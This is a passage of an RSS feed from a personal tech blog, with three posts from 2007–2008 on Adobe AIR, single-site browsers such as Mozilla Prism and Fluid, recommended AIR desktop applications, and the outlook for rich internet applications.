		<category><![CDATA[Google]]></category>
		<category><![CDATA[graphics hardware]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[Internet Applications]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Mac]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Microsoft Windows]]></category>
		<category><![CDATA[Mozilla]]></category>
		<category><![CDATA[Mozilla Prism]]></category>
		<category><![CDATA[operating system]]></category>
		<category><![CDATA[Pyro]]></category>
		<category><![CDATA[runtime]]></category>
		<category><![CDATA[single site browsers]]></category>
		<category><![CDATA[site-specific applications]]></category>
		<category><![CDATA[SSB]]></category>
		<category><![CDATA[web applications]]></category>
		<category><![CDATA[Web Browser]]></category>
		<category><![CDATA[Web browsers]]></category>
		<category><![CDATA[web browsing activity]]></category>
		<category><![CDATA[web resource]]></category>
		<category><![CDATA[web resources]]></category>
		<category><![CDATA[XML]]></category>
		<category><![CDATA[Yahoo]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=510</guid>
		<description><![CDATA[Adobe Integrated Runtime is more than just hot air, it traverses the previously unexplored space that exists between the Web and desktop applications.

Up until very recently, the void between the Web and the desktop seemed like a schism that could not be crossed. But since AIR's 1.0 release in February this year, a whole host of other applications are emerging to compete with AIR in the single site browser space.]]></description>
			<content:encoded><![CDATA[<p><img src='http://www.simonwhatley.co.uk/blog/wp-content/uploads/2008/03/adobe_air_logo.thumbnail.png' alt='Adobe AIR Logo' style="float:left; margin-right:5px;" />Adobe Integrated Runtime is more than just hot air, it traverses the previously unexplored space that exists between the Web and desktop applications.</p>
<p>Up until very recently, the void between the Web and the desktop seemed like a schism that could not be crossed. But since <acronym title="Adobe Integrated Runtime">AIR</acronym>&#8216;s 1.0 release in February this year, a whole host of other applications are emerging to compete with <acronym title="Adobe Integrated Runtime">AIR</acronym> in the single site browser space.</p>
<p>Although <acronym title="Adobe Integrated Runtime">AIR</acronym> is very new, the product is remarkably mature with the integration of the excellent opensource <a href="http://webkit.org" title="WebKit" target="_blank" rel="nofollow">WebKit</a> browser engine for rendering <acronym title="HyperText Markup Language">HTML</acronym> and JavaScript, the <a href="http://www.sqlite.org" title="SQLite" target="_blank" rel="nofollow">SQLite</a> database engine for embedded database functionality and of course, Adobe&#8217;s Flash player for development of Flash-based Rich Internet Applications. Because of this flexibility, the learning curve faced by developers is almost non-existent, they simply have to get to grips with the <acronym title="Adobe Integrated Runtime">AIR</acronym> <acronym title="Application Programming Interface">API</acronym>.</p>
<h3>What is all the fuss about?</h3>
<p>Delving into the <acronym title="Adobe Integrated Runtime">AIR</acronym> <acronym title="Application Programming Interface">API</acronym>, your application will have the ability to detect whether it is currently the active window or connected to the network. You can access the file system, allowing you to read and write files, access other datasources, tap into the native menu options or interact with almost any aspect of the operating system in a way familiar to common desktop applications. This functionality is available regardless of the architecture on which it is installed. Therefore <acronym title="Adobe Integrated Runtime">AIR</acronym> applications will work similarly when installed on a Windows <acronym title="Personal Computer">PC</acronym> or Mac, and soon on Linux machines as well.</p>
<blockquote><p>AIR is much, much more than a single-site browser &#8212; it&#8217;s a cross-platform runtime environment and the distinction is significant.</p></blockquote>
<p>The ability to run applications built on <acronym title="Adobe Integrated Runtime">AIR</acronym> on almost any machine, on- and offline, sets it apart from any other offering currently out there or in development. For example, <a href="http://gears.google.com" title="Google Gears" target="_blank" rel="nofollow">Google Gears</a> is restricted to <acronym title="Asynchronous JavaScript and XML">AJAX</acronym> applications, whilst Mozilla Prism isn&#8217;t much more advanced than a cut-down version of Firefox, with no offline capabilities yet.</p>
<h3>Who else has entered the race?</h3>
<p>As mentioned, a significant entry is Mozilla&#8217;s <a href="http://labs.mozilla.com/projects/prism/" title="Mozilla Prism" target="_blank" rel="nofollow">Prism</a>, however, <a href="http://www.karppinen.fi/pyro/" title="Pyro" target="_blank" rel="nofollow">Pyro</a> for Linux and <a href="http://www.3d3r.com/bubbles/" title="3D3R Bubbles" target="_blank" rel="nofollow">Bubbles</a> and <a href="http://fluidapp.com/" title="Fluid App" target="_blank" rel="nofollow">Fluid</a> for Mac are clever little tools for packaging up an existing website and presenting it as a standalone desktop application.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h3>Mozilla Prism</h3>
<p><img src='http://www.simonwhatley.co.uk/blog/wp-content/uploads/2008/04/mozilla-prism-logo.thumbnail.png' alt='Mozilla Prism Logo' style="float:left; margin-right:5px;" />Prism, previously known as WebRunner is a product in development which integrates web applications with the desktop, allowing web applications to be launched from the desktop and configured independently of the default web browser. It is commonly used with Google <acronym title="Asynchronous JavaScript and XML">AJAX</acronym> Applications, such as Gmail and Google Docs.</p>
<p>Prism is part of an experiment by Mozilla designed to &#8220;bridge the divide in the user experience between web applications and desktop applications&#8221;. Essentially, Prism will allow you to create a desktop-like application out of individual websites. These site-specific applications are a growing trend and a trend heavily marketed by, not only Adobe, but now Mozilla, as &#8216;the future&#8217;.</p>
<blockquote><p>
While traditionally users have interacted mostly with desktop applications, more and more of them are using Web applications. But the latter often fit awkwardly into the document-centric interface of Web browsers.</p></blockquote>
<p>In its current form, Prism doesn&#8217;t have the ability to function as a desktop application without access to the Internet, but Mozilla says it is &#8220;working to increase the capabilities of those apps by adding functionality to the Web itself, such as providing support for offline data storage and access to <abbr title="3 Dimensional">3D</abbr> graphics hardware.&#8221;</p>
<p>More details can be found on the <a href="http://labs.mozilla.com/projects/prism/" title="Mozilla Prism" target="_blank" rel="nofollow">Mozilla Prism website</a>.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h3>Pyro Desktop</h3>
<p><img src='http://www.simonwhatley.co.uk/blog/wp-content/uploads/2008/04/pyro-logo.thumbnail.png' alt='Pyro Logo' style="float:left; margin-right:5px;" />Pyro Desktop is a new type of desktop environment for Linux built on Mozilla Firefox. Its goal is to enable true integration between the Web and modern desktop computing. Pyro was announced during <acronym title="GNOME Users' And Developers' European Conference">GUADEC</acronym> 2007 and is developed by Alex Graveley and Chris Toshok.</p>
<p>More details can be found on the <a href="http://www.karppinen.fi/pyro/" title="Pyro" target="_blank" rel="nofollow">Pyro Desktop website</a>.</p>
<h3>3D3R Bubbles</h3>
<p><img src='http://www.simonwhatley.co.uk/blog/wp-content/uploads/2008/04/bubbles-logo.thumbnail.gif' alt='Bubbles Logo' style="float:left; margin-right:5px;" />Bubbles is a desktop application that allows you to work with your web resources in the way you want to work with them.</p>
<p>The Bubbles application window, known simply as a Bubble carries the web resource almost like a web browser does. Since the Bubble has advanced browser capabilities there&#8217;s an advanced control device for it &#8212; the Bubble seed &#8212; an <acronym title="eXensible Markup Language">XML</acronym> file called Smart Bubble. It defines the properties â€” the whats &#038; the hows â€” of its Bubble window. The Smart Bubble contains the information about what Bubble will load, how it will look on the desktop and what capabilities it will have, etc. So it goes from the Smart Bubble into a grown Bubble that lives on your desktop, accessible from the system tray.</p>
<p>More details can be found on the <a href="http://www.3d3r.com/bubbles/" title="3D3R Bubbles" target="_blank" rel="nofollow">3D3R Bubbles website</a>.</p>
<h3>Fluid App</h3>
<p><img src='http://www.simonwhatley.co.uk/blog/wp-content/uploads/2008/04/fluid-logo.thumbnail.png' alt='Fluid Logo' style="float:left; margin-right:5px;" />Fluid is a way to create Site-Specific Browsers <acronym title="Site-Specific Browsers">SSB</acronym>s to run each of your favorite WebApps as a separate desktop application. Fluid gives any WebApp a home on your Mac OS X desktop complete with Dock icon, standard menu bar, logical separation from your other web browsing activity, and many other goodies.</p>
<p>Fluid includes optional Tabbed Browsing, built-in Userscripting (aka <a href="https://addons.mozilla.org/en-US/firefox/addon/748" title="GreaseMonkey" target="_blank" rel="nofollow">Greasemonkey</a>/<a href="http://8-p.info/greasekit/" title="GreaseKit" target="_blank" rel="nofollow">GreaseKit</a>), RSS/Atom Feed detection, a JavaScript <acronym title="Application Programming Interface">API</acronym> for setting dock badges, showing <a href="http://growl.info/" title="Growl" target="_blank" rel="nofollow">Growl</a> notifications and adding Dock Menu Items, optional bookmarks, optional browsing to urls outside the <acronym title="Site-Specific Browsers">SSB</acronym> &#8220;home&#8221; domain, Dock badges and Dock menus for Gmail, Google Reader, Facebook, Flickr, and Yahoo! Mail, auto-software updates via the <a href="http://sparkle.andymatuschak.org/" title="Sparkle Update Framework" target="_blank" rel="nofollow">Sparkle Update framework</a>, and custom <acronym title="Site-Specific Browsers">SSB</acronym> icons.</p>
<p>More details can be found on the <a href="http://fluidapp.com/" title="Fluid App" target="_blank" rel="nofollow">Fluid App website</a>.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/more-than-just-hot-air-single-site-browsers/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Great Adobe AIR Applications to Check Out</title>
		<link>http://www.simonwhatley.co.uk/great-adobe-air-applications-to-check-out</link>
		<comments>http://www.simonwhatley.co.uk/great-adobe-air-applications-to-check-out#comments</comments>
		<pubDate>Wed, 19 Mar 2008 09:43:25 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[ActionScript]]></category>
		<category><![CDATA[Adobe]]></category>
		<category><![CDATA[Adobe Integrated Runtime]]></category>
		<category><![CDATA[Adobe Labs]]></category>
		<category><![CDATA[AIR]]></category>
		<category><![CDATA[AJAX]]></category>
		<category><![CDATA[Analytics]]></category>
		<category><![CDATA[api]]></category>
		<category><![CDATA[Asynchronous JavaScript and XML]]></category>
		<category><![CDATA[bbc]]></category>
		<category><![CDATA[Benjamin Dobler]]></category>
		<category><![CDATA[ColdFusion]]></category>
		<category><![CDATA[collaboration tool]]></category>
		<category><![CDATA[designer]]></category>
		<category><![CDATA[Desktop]]></category>
		<category><![CDATA[desktop applications]]></category>
		<category><![CDATA[ebay]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Flex]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[HTML & XHTML]]></category>
		<category><![CDATA[Internet Applications]]></category>
		<category><![CDATA[internet-ready]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[Kuler]]></category>
		<category><![CDATA[less developer-centric tools]]></category>
		<category><![CDATA[Mac]]></category>
		<category><![CDATA[Marco Kaiser]]></category>
		<category><![CDATA[Microsoft Vista]]></category>
		<category><![CDATA[Nicolas Lierman]]></category>
		<category><![CDATA[operating systems]]></category>
		<category><![CDATA[Picnik image editor]]></category>
		<category><![CDATA[RichFLV]]></category>
		<category><![CDATA[Runtime ( AIR )]]></category>
		<category><![CDATA[SearchCoders]]></category>
		<category><![CDATA[social-interaction tool]]></category>
		<category><![CDATA[Tweetr]]></category>
		<category><![CDATA[Twitter]]></category>
		<category><![CDATA[web applications]]></category>
		<category><![CDATA[Web Browser]]></category>
		<category><![CDATA[web screenshot tool]]></category>
		<category><![CDATA[web skills]]></category>
		<category><![CDATA[Web technologies]]></category>
		<category><![CDATA[web-based suite]]></category>
		<category><![CDATA[web-hosted application]]></category>
		<category><![CDATA[WebKut]]></category>
		<category><![CDATA[XML]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=472</guid>
		<description><![CDATA[Since the Adobe Integrated Runtime (AIR) was released at the end of February, we now have a stable platform on which to build desktop applications with our existing web skills. A number of people have already started and the Adobe AIR Marketplace is filling with AIR applications by the day.

So what is the big deal?]]></description>
			<content:encoded><![CDATA[<p><img src='http://www.simonwhatley.co.uk/blog/wp-content/uploads/2008/03/adobe_air_logo.thumbnail.png' alt='Adobe AIR Logo' style="margin-right:5px; float:left;" />Since the Adobe Integrated Runtime (<acronym title="Adobe Integrated Runtime">AIR</acronym>) was released at the end of February, we now have a stable platform on which to build desktop applications with our existing web skills. A number of people have already started and the <a href="http://www.adobe.com/cfusion/exchange/index.cfm?event=productHome&#038;exc=24&#038;loc=en_us" title="Adobe AIR Marketplace" target="_blank" rel="nofollow">Adobe AIR Marketplace</a> is filling with <acronym title="Adobe Integrated Runtime">AIR</acronym> applications by the day.</p>
<p>So what is the big deal? The Adobe marketing team state that:</p>
<blockquote><p>The Adobe <acronym title="Adobe Integrated Runtime">AIR</acronym> runtime lets developers use proven web technologies to build rich Internet applications that deploy to the desktop and run across operating systems. Adobe AIR offers an exciting new way to engage customers with innovative, branded desktop applications, without requiring changes to existing technology, people, or processes.</p></blockquote>
<p>What <acronym title="Adobe Integrated Runtime">AIR</acronym> applications should you check out?</p>
<p>What is intriguing is that all the tools I have chosen are generally useful tools for the developer or designer, with the exception of twhirl, which is a social-interaction tool. I&#8217;m looking forward to when other, less developer-centric tools become freely available. <a href="http://www.agileagenda.com" title="AgileAgenda" target="_blank" rel="nofollow">AgileAgenda</a> has taken the lead with this respect, albeit not freely available, as has <a href="http://desktop.ebay.com" title="eBay Desktop" target="_blank" rel="nofollow">eBay desktop</a>, but I would like to see examples from the <acronym title="British Broadcasting Corporation">BBC</acronym> in the form of a desktop <a href="http://www.bbc.co.uk/iplayer/" title="BBC iPlayer" target="_blank" rel="nofollow">BBC iPlayer</a> or maybe a Flickr image browser, del.icio.us bookmark reader, <acronym title="Really Simple Syndication">RSS</acronym> aggregator and a <a href="http://www.picnik.com" title="Picnik" target="_blank" rel="nofollow">Picnik</a> image editor.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h3>Analytics Reporting Suite</h3>
<p><img src='http://www.simonwhatley.co.uk/blog/wp-content/uploads/2008/03/google_analytics_logo.thumbnail.gif' alt='Google Analytics Reporting Suite' style="margin-right:5px; float:left;" />The Analytics Reporting Suite, by Nicolas Lierman, brings <a href="http://www.google.com/analytics" title="Google Analytics" target="_blank" rel="nofollow">Google Analytics</a> to the desktop. It uses it&#8217;s own custom <acronym title="Application Programming Interface">API</acronym> to interact with Google and nearly implements all the features of Analytics.</p>
<p>For website owners this is a must-have application. Like the twhirl <acronym title="Adobe Integrated Runtime">AIR</acronym> application below, it is a fantastic example of what can be achieved with Flex and <acronym title="Adobe Integrated Runtime">AIR</acronym>. Measuring visitor trends and traffic are essential tasks to managing and improving a websites performance. The Analytics Reporting Suite allows you to configure multiple Google&#8217;s Analytics accounts and access the web-based suite&#8217;s plethora of features via a desktop application. The application displays integrated graphs and animations via a tabbed interface, which allows you switch between a number of reports. These reports can then be saved as a <acronym title="Portable Document Format">PDF</acronym>, Excel or <acronym title="eXtensible Markup Language">XML</acronym>document, or printed.</p>
<p>You can <a href="http://www.aboutnico.be/index.php/downloads/" title="Google Analytics Reporting Suite" target="_blank" rel="nofollow" class="snap_noshots">download and install</a> the application from the About Nico website.</p>
<h3>twhirl twitter Client</h3>
<p><img src='http://www.simonwhatley.co.uk/blog/wp-content/uploads/2008/03/twhirl_logo.thumbnail.jpg' alt='Twhirl Logo' style="margin-right:5px; float:left;" />twhirl, by Marco Kaiser, is probably the most popular desktop client for the <a href="http://twitter.com" title="twitter microblogging" target="_blank" rel="nofollow">twitter</a> micro-blogging service. Most of the features available on the twitter website are accessible through twhirl, plus, a lot of usability enhancements have been added to make it easier to manage multiple accounts. This is great for those who want to separate business and personal accounts they may have.</p>
<p>The twhirl application is a great example of how <acronym title="Adobe Integrated Runtime">AIR</acronym> can bring web applications to the desktop; it can dock to the system tray, display message alerts and you can configure the applications opacity when not focused (great if you like Mac and Vista-styled themes). The application allows you to search twitter users, view their timelines, add friends, view followers, delete tweets and much much more. Twhirl automatically fetches your friends&#8217; status updates, direct messages and replies, whilst also colour coding different types of messages and alerting you to messages both audibly and visually.</p>
<p>The twhirl application is skinnable and comes with several built in skins with which you can customise the application. All-in-all twhirl is not only one of the best twitter clients, but <acronym title="Adobe Integrated Runtime">AIR</acronym> applications.</p>
<p>You can <a href="http://www.twhirl.org/project/twhirl" title="twhirl twitter client" target="_blank" rel="nofollow" class="snap_noshots">download and install</a> the application from the twhirl website.</p>
<h3>Kuler Desktop</h3>
<p><img src='http://www.simonwhatley.co.uk/blog/wp-content/uploads/2008/03/kuler_logo.png' alt='Adobe Kuler Logo' style="margin-right:5px; float:left;" />Adobe kuler is the first web-hosted application from Adobe Labs designed both to stand alone and to complement <a href="http://www.adobe.com/products/creativesuite/" title="Adobe Creative Suite 3" target="_blank" rel="nofollow">Adobe Creative Suite</a> software. Built using <a href="http://www.adobe.com/products/flash/" title="Adobe Flash" target="_blank" rel="nofollow">Adobe Flash</a> and ActionScript 3.0, kuler is all about colour: colour for exploration, inspiration, experimentation and sharing. Kuler is clearly targeted at the designer, but anyone interested in colour will benefit from its use.</p>
<p>You can <a href="http://kuler.adobe.com" title="Kuler Desktop" target="_blank" rel="nofollow" class="snap_noshots">download and install</a> the application from the Adobe Labs website.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<h3>WebKut</h3>
<p><img src='http://www.simonwhatley.co.uk/blog/wp-content/uploads/2008/03/webkut_logo.png' alt='WebKut Logo' style="margin-right:5px; float:left;" />WebKut is a web screenshot tool that allows you to capture web pages, or parts of them in a very simple way. It provides you with 3 capture options: the entire page, the current view, or only a selection. This little application proves particularly handy for those presentations or projects that need great visuals from the web.</p>
<p>You can <a href="http://toki-woki.net/p/WebKut/" title="WebKut" target="_blank" rel="nofollow" class="snap_noshots">download and install</a> the application from the WebKut website.</p>
<h3>RichFLV</h3>
<p>RichFLV, by Benjamin Dobler, lets you edit <acronym title="Flash Video">FLV</acronym> files. The key features include reading <acronym title="Flash Video">FLV</acronym> metadata, read and edit cuepoints, cut <acronym title="Flash Video">FLV</acronym> files, convert the sound from an <acronym title="Flash Video">FLV</acronym> to <acronym title="MPEG-1 Audio Layer 3">MP3</acronym> format, convert an <acronym title="Flash Video">FLV</acronym> to an <acronym title="Shockwave Flash">SWF</acronym> &#8230; and much more.</p>
<p>You can <a href="http://www.adobe.com/cfusion/exchange/index.cfm?event=extensionDetail&#038;loc=en_us&#038;extid=1355018" title="RichFLV" target="_blank" rel="nofollow" class="snap_noshots">download and install</a> the application from the Adobe <acronym title="Adobe Integrated Runtime">AIR</acronym> Marketplace website.</p>
<h3>SearchCoders Dashboard</h3>
<p><img src='http://www.simonwhatley.co.uk/blog/wp-content/uploads/2008/03/searchcoders_logo.thumbnail.png' alt='SearchCoders Logo' style="margin-right:5px; float:left;" />This Flex-based chat widget is designed with programmers in mind. The code input feature allows developers to chat about code without disrupting the conversation.</p>
<p>You can <a href="http://www.searchcoders.com/" title="SearchCoders" target="_blank" rel="nofollow" class="snap_noshots">download and install</a> the application from the SearchCoders website.</p>
<h3>Pownce</h3>
<p><img src='http://www.simonwhatley.co.uk/blog/wp-content/uploads/2008/03/pownce_logo.thumbnail.png' alt='Pownce Logo' style="margin-right:5px; float:left;" />Much like twhirl in look, feel and ease-of-use, but with a slant towards productivity rather than micro-blogging, Pownce is a way to keep in touch and share things with your friends or colleagues.  You can send people files, links, events, and messages and then have real conversations with the recipients. This is a great collaboration tool and was one of the first services to really embrace <acronym title="Adobe Integrated Runtime">AIR</acronym> as an application architecture, which could realise their service as a desktop client. Everything that is available via the Pownce website is also available via the client application, except and possibly importantly, the ability for the user to amend their account settings and add friends to your network; this still has to be done via the website.</p>
<p>For a small annual amount, Pownce offers a paid-for service which will eliminate adverts from your profile and allow you to send huge file sizes (100<acronym title="MegaByte">MB</acronym>) and customise the theme of your Pownce.</p>
<p>Pownce also offers Drupal integration and a mobile application, which works with the iPhone, BlackBerries and many more &#8216;internet-ready&#8217; mobile devices.</p>
<p>You can <a href="http://pownce.com/" title="Pownce" target="_blank" rel="nofollow" class="snap_noshots">download and install</a> the application from the Pownce website.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/great-adobe-air-applications-to-check-out/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Future Directions for Rich Internet Applications</title>
		<link>http://www.simonwhatley.co.uk/future-directions-for-rich-internet-applications</link>
		<comments>http://www.simonwhatley.co.uk/future-directions-for-rich-internet-applications#comments</comments>
		<pubDate>Thu, 19 Jul 2007 18:31:09 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
				<category><![CDATA[Strategy]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Adobe]]></category>
		<category><![CDATA[AIR]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[data]]></category>
		<category><![CDATA[disparate systems]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[Flex]]></category>
		<category><![CDATA[future]]></category>
		<category><![CDATA[gears]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[integrated applications]]></category>
		<category><![CDATA[Internet Applications]]></category>
		<category><![CDATA[Internet Applications Rich Internet Applications]]></category>
		<category><![CDATA[JavaFX]]></category>
		<category><![CDATA[LinkedIn]]></category>
		<category><![CDATA[manual processing]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Microsoft Windows]]></category>
		<category><![CDATA[performance solutions]]></category>
		<category><![CDATA[quicktime]]></category>
		<category><![CDATA[RIA]]></category>
		<category><![CDATA[Rich Internet Applications]]></category>
		<category><![CDATA[SaaS]]></category>
		<category><![CDATA[Service Orientated Architecture]]></category>
		<category><![CDATA[services]]></category>
		<category><![CDATA[Silverlight]]></category>
		<category><![CDATA[soa]]></category>
		<category><![CDATA[Software as a Service]]></category>
		<category><![CDATA[software orientated architecture]]></category>
		<category><![CDATA[software tools]]></category>
		<category><![CDATA[sun]]></category>
		<category><![CDATA[Web 2.0]]></category>
		<category><![CDATA[web applications]]></category>
		<category><![CDATA[Web industry]]></category>
		<category><![CDATA[web services]]></category>
		<category><![CDATA[Web Standards]]></category>
		<category><![CDATA[XAML]]></category>
		<category><![CDATA[XML]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=296</guid>
		<description><![CDATA[Rich Internet Applications are just the beginning. A key trend taking place throughout the Web industry is the urgency to integrate disparate systems and software tools to reduce costs, increase developer productivity, reduce the need for manual processing and intervention in transactions, and decrease time to market. To achieve these objectives, organisations have endorsed the adoption of standards-based systems combined with the migration to Web Services and Service Orientated Architecture. This has led to a requirement to create a consistent and intuitive interface to applications, data and services. The immediate goal of these efforts is to provide simpler, quicker and more efficient access and processing of information.]]></description>
			<content:encoded><![CDATA[<p>Rich Internet Applications (<acronym title="Rich Internet Application">RIA</acronym>s) are just the beginning. A key trend taking place throughout the Web industry is the urgency to integrate disparate systems and software tools to reduce costs, increase developer productivity, reduce the need for manual processing and intervention in transactions, and decrease time to market. To achieve these objectives, organisations have endorsed the adoption of standards-based systems (e.g. <acronym title="eXtensible Markup Language">XML</acronym>, Design Patterns, <acronym title="Cascading Style Sheets">CSS</acronym>, <acronym title="European Computer Manufacturers Association">ECMA</acronym>Script) combined with the migration to Web Services and Service Orientated Architecture (<acronym title="Software Orientated Architecture">SOA</acronym>). This has led to a requirement to create a consistent and intuitive interface to applications, data and services. The immediate goal of these efforts is to provide simpler, quicker and more efficient access and processing of information. Increasingly, Web applications are also offering customers application interfaces that are more personalised and customised to each individual&#8217;s specific requests and requirements.</p>
<p>It is clear that <acronym title="Rich Internet Application">RIA</acronym>s offer the potential to fundamentally change the user experience and in doing so, yield significant business benefits. However, in order for <acronym title="Rich Internet Application">RIA</acronym>s to be widely employed, and for more companies to receive these kinds of returns, technologies to build <acronym title="Rich Internet Application">RIA</acronym>s will need to appeal to a wider range of developers. The ability to cost effectively create rich, engaging user experiences that support corporate objectives and reach a broader developer audience without sacrificing development productivity require a new generation of <acronym title="Rich Internet Application">RIA</acronym> tools. These tools are being developed by a large number of organisations with Adobe, Microsoft, Google, Apple and Sun leading the way with the <a href="http://labs.adobe.com/technologies/air/" title="Adobe AIR" target="_blank" rel="nofollow">AIR</a>/<a href="http://www.adobe.com/products/flash/" rel="nofollow" target="_blank" title="Flash">Flash</a>/<a href="http://www.adobe.com/products/flex/" rel="nofollow" target="_blank" title="Flex">Flex</a> combination, <a href="http://silverlight.net/" rel="nofollow" target="_blank" title="Silverlight">Silverlight</a>, <a href="http://gears.google.com/" rel="nofollow" target="_blank" title="Google Gears">Gears</a>, <a href="http://www.apple.com/quicktime/" rel="nofollow" target="_blank" title="Apple's Quicktime">Quicktime</a> and <a href="http://www.sun.com/software/javafx/index.jsp" rel="nofollow" target="_blank" title="Sun's JavaFX">JavaFX</a> respectively.</p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<p>The new generation of <acronym title="Rich Internet Application">RIA</acronym> tools being developed by the likes of Adobe and Microsoft must do the following to allow developers to truely harness the power of <acronym title="Rich Internet Application">RIA</acronym>s in the commercial environment:</p>
<ol>
<li>Allow developers to write applications using familiar development models to utilise and extend their current skills without requiring them to adopt entirely new or different skills</li>
<li>Use standard and standards-based technologies</li>
<li>Use industry specific programming models and patterns</li>
<li>Use and/or leverage the existing IT infrastructure through wrap and reuse rather than rip and replace</li>
<li>Provide pervasive, familiar programming models and an expressive user interface across platforms and devices; and</li>
<li>Allow developers to create a solution that delivers scalable, secure, high performance solutions that are bandwidth efficient</li>
</ol>
<p>These new <acronym title="Rich Internet Application">RIA</acronym> tools will need to provide the features that enhance IT developer&#8217;s abilities to be more creative and to accomplish <acronym title="Rich Internet Application">RIA</acronym> development with the same or less effort than the tools they use to create other types of applications. What is required are the tools that can help developers achieve these objectives without relying on only <acronym title="HyperText Markup Language">HTML</acronym> or other scripting languages, or having to learn a completely new development approach.</p>
<p>Two vendors which have the technology and capaibility to fully deliver Rich Internet Applications are Adobe and Microsoft. With Microsoft&#8217;s <a href="http://silverlight.net/" rel="nofollow" target="_blank" title="Silverlight">Silverlight</a> and <acronym title="Extensible Application Markup Language">XAML</acronym>, developing rich internet applications to run on Windows platforms will progress at a fast rate. In turn, Adobe has had a head start with the aquisition of Macromedia and the subsequent addition of <a href="http://www.adobe.com/products/flash/" rel="nofollow" target="_blank" title="Flash">Flash</a> and <a href="http://www.adobe.com/products/flex/" rel="nofollow" target="_blank" title="Flex">Flex</a> to its product offering. Flash and its relative ubiquity across platforms and devices ensures that <acronym title="Rich Internet Application">RIA</acronym> development and production will be accessible to a large user base and as such puts Adobe at a distinct advantage over Microsoft.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
/* 468x60 Basic */
google_ad_slot = "7117418273";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/future-directions-for-rich-internet-applications/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

